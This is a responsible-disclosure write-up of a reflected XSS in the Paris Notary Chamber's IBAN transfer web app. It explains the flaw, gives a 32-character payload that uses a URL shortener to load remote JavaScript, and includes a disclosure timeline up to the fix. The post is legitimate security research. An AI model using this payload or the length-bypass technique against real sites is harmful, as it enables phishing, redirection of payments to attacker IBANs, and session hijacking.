Reflected XSS on IBAN Secured Transfer

SkypLabs published on
7 min, 1260 words

Categories: Engineering

IBAN Secured Transfer is a web application developed by the Paris Notary Chamber “to proscribe IBAN transfers using emails, in order to protect notaries and their clients from email spoofing, interception of emails, or other cyberattacks”.

When a notary office needs to communicate its IBAN to one of its clients, the office uploads its IBAN to the IBAN Secured Transfer platform and enters the client’s e-mail address and phone number. A notification e-mail comprising a single-use link is then sent to the client. Upon clicking the link, the client is directed to a page where they are prompted to enter a one-time password sent by SMS this time as per the double authentication process. If all steps are completed correctly, the client can then download the bank account details as a PDF file.

The single-use links sent by e-mail to the clients are structured as follows: https://confiance-rib-client.espacenotarial.com/?t=c10ac6cb2ed977792510407b1cce6153. A single query parameter named t (supposedly t as in token) is used as transfer identifier. The value of this parameter seems to always be a 32-character hexadecimal string.

When followed, the above link makes the application return the following code snippet at the very top of the landing page:

<html><body style="background:#343a40;"><form id="frm" name="frm" method="post" action="/" enctype="multipart/form-data"><input type="hidden" id="token" name="token" value="a10ac6cb2ed977492510407b1cce6153"><script type="text/javascript">document.getElementById("frm").submit();</script></form></body></html><!DOCTYPE html>
<html data-theme="theme-cinp" lang="fr">

As you can see, a small HTML document is injected before the main one. The injected document contains only a form meant to resend the token to the web application, but as a POST request this time. To this end, the token is placed inside the form as a hidden input field, and the form is automatically submitted by JavaScript.

The vulnerability

When a single-use link is accessed, the web application places the token value inside the code snippet that triggers the POST request. However, it does not limit the input value to hexadecimal characters only, nor does it escape any special characters. This oversight results in a reflected cross-site scripting (XSS) vulnerability:

Screenshot of the reflected XSS

However, the web application injects the HTML document triggering the redirection only when the token string is exactly 32-character long, which limits greatly the impact of the vulnerability. For instance, it would be impossible to redirect the victim to an arbitrary website controlled by the attacker with the <script>window.location = ""</script> payload, as it is already 37-character long without the URL.

One solution is to use the <script src=""> syntax with a very short URL to load a remote JavaScript file, thereby circumventing the 32-character limit given the absence of Content Security Policy (CSP). To achieve this without purchasing a short domain name for the sole purpose of exploiting the vulnerability, the T.LY URL shortener service can be used instead. This approach results in a payload of precisely 32 characters: "><script src="https://t.ly/sI3P (full URL: https://confiance-rib-client.espacenotarial.com/?t=%22%3E%3Cscript+src%3D%22https%3A%2F%2Ft.ly%2FsI3P).

Impact

By exploiting this one-click reflected XSS vulnerability, an attacker gains the ability to execute phishing attacks targeting both clients and staff members of notary offices. This malicious activity can result in the theft of money by deceiving individuals into transferring funds to an arbitrary IBAN controlled by the attacker.

In an alternative attack scenario, the attacker could hijack the administrative session of a staff member from a notary office, with the intent of generating seemingly legitimate single-use links that actually direct to an arbitrary IBAN. It is important to note that this scenario remains purely theoretical, as we have never had the opportunity to access the administrative dashboard of the solution.

Conclusion

Finding and exploiting the reflected XSS vulnerability was relatively straightforward while having a high impact due to the nature of the solution. We strongly advice taking great care of sanitising all user inputs and implementing a CSP to prevent the executing of arbitrary JavaScript code.

Timeline

  • 2023-07-03: Vulnerability was discovered.
  • 2023-07-03: Initial contact with the Paris Notary Chamber via their web form.
  • 2023-07-06: Received first response by e-mail, asking for the vulnerability details.
  • 2023-07-11: Asked the Paris Notary Chamber for a secure way to transmit the vulnerability details (e.g. PGP key).
  • 2023-07-12: Received a response stating that sending the vulnerability details in plaintext by e-mail was fine.
  • 2023-07-13: Sent the vulnerability details as a PDF attachment by e-mail.
  • 2023-09-12: Sent a follow-up e-mail, asking for an update.
  • 2023-09-12: Received a response stating that they took the required actions, subject to some technical constraints.
  • 2023-09-19: Sent an e-mail to inform the Paris Notary Chamber that the vulnerability was still present.
  • 2023-09-22: Received a response stating that the vulnerability could not be fixed due to technical constraints.
  • 2023-09-22: Sent an e-mail to ANSSI, asking for advice.
  • 2023-10-04: Received a response from ANSSI, inviting to proceed with an anonymous disclosure under “article 47” (in reference to “Loi pour une République numérique n°2016-1321 du 7 octobre 2016, Article 47”).
  • 2023-10-16: Replied to ANSSI, asking for more information regarding the relevance of the anonymous reporting procedure, given that finding the vulnerability did not require attacking the Paris Notary Chamber’s infrastructure (reflected XSS).
  • 2023-12-01: Sent a follow-up e-mail to ANSSI.
  • 2023-12-08: Received a response from ANSSI, stating that they will try to alert the Paris Notary Chamber via other channels.
  • 2024-06-06: Sent a follow-up e-mail to ANSSI, asking for an update on the situation.
  • 2024-06-06: Received a response from ANSSI, asking for the vulnerability details.
  • 2024-06-06: Sent the vulnerability details to ANSSI as a PGP-encrypted PDF attachment by e-mail.
  • 2024-06-07: Following ANSSI’s recommendation, sent an e-mail to the Superior Council of Notaries about the vulnerability, as they have authority over the Paris Notary Chamber.
  • 2024-07-12: Received a response from the Superior Council of Notaries, inviting to contact Cyril Mallet directly, Deputy Director of Information Systems of the Paris Notary Chamber.
  • 2024-07-15: Sent an e-mail to Cyril Mallet about the vulnerability.
  • 2024-07-16: Received a response from Cyril Mallet, stating that he has not heard of this vulnerability disclosure before, and that an internal investigation will be conducted.
  • 2024-07-19: Received an e-mail from Cyril Mallet for setting up a call.
  • 2024-07-23: Call with Cyril Mallet. He thanked SkypLabs for the vulnerability disclosure, and told us that the issue was now fixed.
  • 2024-08-05: Sent an e-mail to Cyril Mallet, confirming that the vulnerability has been properly fixed. SkypLabs also recommended publishing a security.txt file on the Paris Notary Chamber’s website to make it easy for security researchers to disclose vulnerabilities.
  • 2024-08-12: Sent an e-mail to ANSSI to inform them that the vulnerability has been fixed.